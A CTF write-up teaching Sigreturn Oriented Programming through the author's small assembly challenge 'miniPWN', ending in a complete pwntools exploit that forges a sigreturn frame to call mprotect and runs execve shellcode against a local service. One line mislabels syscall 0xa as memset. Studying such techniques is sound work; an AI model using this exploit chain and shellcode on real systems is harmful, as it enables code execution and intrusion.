SROP - Sigreturn Oriented Programming

A few months ago a colleague of mine created a simple buffer overflow challenge to teach others how to defeat ASLR. The program itself was written in assembly and only consisted of 3 syscalls more or less – read, write and exit. The overflow was easy, there was no boundary check or anything and you could simply write data to the stack. Since the purpose of the challenge was to defeat only ASLR, NX was disabled. The intended solution was to leak a stack address via the write syscall, write some shellcode to the stack, calculate the offset with the leaked address and jump to it.

When I started working on the challenge it never occurred to me that I could use a write syscall to leak an address. That's when I dug down the rabbit hole. After some researching I stumpled upon a technique that I had not heard of before: SROP. Spoiler Alert, I didn't solve the challenge with SROP because I was only able to read 58 bytes. I'll explain in a moment why that's important. I was intrigued either way and started learning about it.

SROP stands for Sigreturn Oriented Programming and unlike Return Oriented Programming only requires 2 Gadgets, the ability to write 300 bytes to the stack and the ability to control the Instruction Pointer. The required gadgets are a sigreturn and a syscall return gadget. In older Linux Kernels these are often already available at a fixed address.

A sigreturn is used to return from the signal handler and to clean up the stack frame after a signal has been unblocked. And "cleaning up the stack frame" really means it's restoring important context data that has been saved on the stack temporarily. This data includes values of all registers and some things that are unrelevant for exploitation, which is also the reason why at least 300 bytes are required for it to work. I won't go into detail about the context struct that is used to store this data. The python library pwntools already provides an easy method to forge these structs. This will allow us to control all registers with only a single gadget.

Once these requirements are met it's possible to do basically anything. In my exploit I will use mprotect to make a memory segment with a fixed address writable and executable, shift the stack to this address space,write some shellcode on the stack and execute it by returning to it.

miniPWN

To demonstrate the power of SROP I created a challenge for the 2019 TheManyHatsClub CTF called miniPWN.

The assembly source code looks like this:

section    .text
global    _start

_start:

    push _write
    mov rdi,0
    mov rsi,rsp
    sub rsi,8
    mov rdx,300
    mov rax,0
    syscall
    ret

_write:
    push _exit
    mov rsi,rsp
    sub rsi,8
    mov rdx,8
    mov rax,1
    mov rdi,1
    syscall
    ret

_exit:

    mov rax,0x3c
    syscall

All it does is read 300 bytes from stdin to the stack, print 8 bytes from the stack, then exit. The vulnerability is trivial, we are reading 300 bytes to [RSP-8] and thus overflowing after only 8 bytes.

So how do you exploit it? Both ASLR and NX are enabled, which means we can't execute shellcode from the stack. ASLR can again be defeated by an address leak. The binary doesn't use libc so we can't use the ret2libc method. You can always try and build your own ROPChain or generate one, but unfortunately the program is way too small and doesn't provide enough gadgets. Here is how to exploit it with SROP.

We need two specific gadgets to be able to use this technique:

  • a sigreturn syscall gadget (eax=0xf;syscall)
  • a syscall return gadget (syscall;ret)

There is a syscall gadget in the program, but no sigreturn syscall. Good thing there is an easy way to control the eax register and return. The read syscall stores the amount of bytes read in the eax register after a successful read operation. That means we can control the eax register with a value from 0-300 including the sigreturn syscall number, which is 15 or 0xf. Now we have everything we need and can start building our exploit.

The payload will look like this:

  • 8 bytes to overflow
  • address of read gadget
  • address of syscall;ret gadget
  • Sigreturn Frame

Once we reach the 2nd read, we simply send 15 bytes to control eax and trigger the sigreturn syscall.

The sigreturn allows us to control every register. The layout will look like this:

rax = 0xa -> memset syscall
rdi = 0x400000 -> memory to adjust
rsi = 0x1000 -> size
rdx = 0x7 -> mode (rwx)
rsp = entrypoint -> new stack
rip = syscall_ret -> where we will continue after sigreturn

This will set up a mprotect syscall to mark the 0x400000 memory area executable and writable to allow shellcode execution at a known address. Then we shift the stack to that area so we can easily write data to it. By setting rsp to the address containing the program entrypoint (0x400018) we ensure normal controlflow of the program since it will return to the address laying on top of the stack, the program entrypoint. It's best to step through it in gdb and observe exactly what is happening.

Now that we have an executable stack again we can exploit the bufferoverflow as usual with a simple payload like this:

  • 8 bytes to overflow
  • RSP+8 (our shellcode address)
  • shellcode

If you want to learn more about SROP I highly recommend reading the whitepaper about it: https://www.cs.vu.nl/~herbertb/papers/srop_sp14.pdf

Challenge related files are here.

Exploit Code:

from pwn import *

p = remote('localhost',1337)
context.clear(arch='amd64')
context.log_level = 'debug'

syscall_ret = 0x40009b
read = 0x400091
writable = 0x400000
new_ret = 0x400018 # Program Entrypoint

payload = 'A'*8
payload += p64(read)
payload += p64(syscall_ret)

frame = SigreturnFrame()
frame.rax = 0xa
frame.rdi = writable
frame.rsi = 0x1000
frame.rdx = 0x7
frame.rsp = new_ret
frame.rip = syscall_ret

payload += str(frame)

# sending
p.send(payload)

payload = 'B'*0xf # sigret
p.send(payload)

# http://shell-storm.org/shellcode/files/shellcode-806.php
shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

payload = 'A'*8
payload += p64(new_ret+8)
payload += shellcode

p.send(payload)
p.interactive()
Show Comments